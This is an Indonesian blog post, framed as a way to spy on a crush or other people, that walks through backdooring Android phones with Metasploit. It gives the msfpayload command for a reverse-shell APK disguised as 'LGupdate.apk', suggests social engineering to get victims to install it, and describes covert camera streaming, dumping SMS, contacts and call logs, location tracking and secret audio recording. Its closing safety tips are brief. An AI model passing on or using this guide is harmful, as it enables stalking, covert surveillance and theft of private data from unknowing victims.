Meretas Kamera Gebetan / Orang Lain dengan Metasploit

Tidak ada yang spesial dari tulisan kali ini, sekedar mengisi waktu luang di sela “clinic time”, sekaligus melunasi permintaan dari beberapa teman untuk hacking dengan target android.

Lab yang dibuat untuk percobaan kali ini sebagai berikut:

1. Attacker: Kali Linux 1.09a Persistence USB dijalankan pada netbook Asus eeePC seashell 1015PX

2. Victim: Android JellyBean (Sony Xperia M dual), Android KitKat (LG G3)

3. ISP: telkomsel flash ultima. Dibagi dengan android wifi tethering (LG G3)

4. Metasploit framework: Exploit: exploit/multi/handler; payload: android/meterpreter/reverse_tcp

Langkah:

1. Buat dulu payloadnya (backdoor) dengan perintah seperti berikut di bawah

msfpayload android/meterpreter/reverse_tcp lhost=nomorIP lport=nomorPort R > namaaplikasi.apk

LGupdate.apk sebelum ditransfer

2. Transfer file backdoornya ke target. Setelah perintah di atas dijalankan, maka pada kasus saya akan tercipta file apk dengan nama LGupdate.apk Selanjutnya tinggal bagaimana file tersebut bisa sampai ke smartphone android victim. (you could always try soceng).

LGupdate.apk di HP victim

3. Install file apk di smartphone victim. File apk yang diinstall akan berubah nama menjadi MainActivity. Saat di-tap maka penampakan yang muncul di smartphone target kurang lebihnya seperti berikut:

4. Siapkan Modul Exploit. Ketikkan msfconsole pada terminal diikuti dengan perintah seperti berikut:

Pada percobaan eksploitasi saya di beberapa kesempatan awal sempat gagal dan keluar output error message –> meterpreter session closed. Reason: Died.

Jika tercipta koneksi, maka akan muncul pesan “meterpreter session opened” dan…

Bingo!!!

Konsol msf > akan berubah menjadi konsol meterpreter >

Lantas apa saja yang bisa kita lakukan dengan meng-hack android dari metasploit? Ada banyak. Bahkan lebih banyak daripada menghack distro linux lainnya.

1. Webcam Snap dan Webcam Stream. Kita bisa mengeksploitasi kamera depan dan kamera belakang pada smartphone target. Hebatnya lagi, beda dengan proses snapping dan streaming camera di netbook atau notebook, di smartphone android benar-benar stealth karena tidak ada lampu indikator yang menyala saat kamera sedang aktif dan juga tidak terjadi apa-apa pada layar target. Fitur ini sangat berbahaya.

webcam_snap pada kamera depan

webcam_stream pada kamera belakang

Pada saat melakukan streaming camera, halaman browser akan terbuka dan proses paparazzi akan terus berjalan sampai dihentikan manual. Baik kamera depan maupun kamera belakang bisa dipilih mana saja yang diinginkan.

2. Dump call log, sms & contact. Hal berbahaya lainnya adalah hacker bisa mengakses data credential kita seperti berikut.

Hasil dumpingnya juga sangat memuaskan. Semua contact akan muncul, dan urutannya sesuai dengan urutan kita memasukkan contact.

call log dump

Selain dari proses dumping di atas, kita juga bisa mengetahui lokasi seseorang berdasarkan fitur geolocation dan kemudian mengecek mapping lokasi tersebut secara online…

3. Merekam suara victim. Kita dapat menyesuaikan waktu yang diinginkan saat proses perekaman. Hasilnya akan tersimpan dengan format ekstensi wav

voice recording

Masih banyak metode post modul lainnya yang bisa dicoba, silakan bereksperimen dan mengeksplorasi.

Good luck!!!

Pesan moralnya: Jangan pernah menginstall aplikasi android dari sumber yang tidak terpercaya, bahkan di google play store pun masih bisa ada celah keamanan seperti di atas. Pastikan menggunakan antivirus seperti avast, mcafee dsb. (walaupun juga tidak menjamin keamanan, setidaknya bisa sedikit memfilter koneksi).

Minimalisir penggunaan transaksi online melalui smartphone android.

Jangan coba-coba bawa smartphone ke kamar mandi

Dan jangan menyimpan konten dewasa pribadi pada smartphone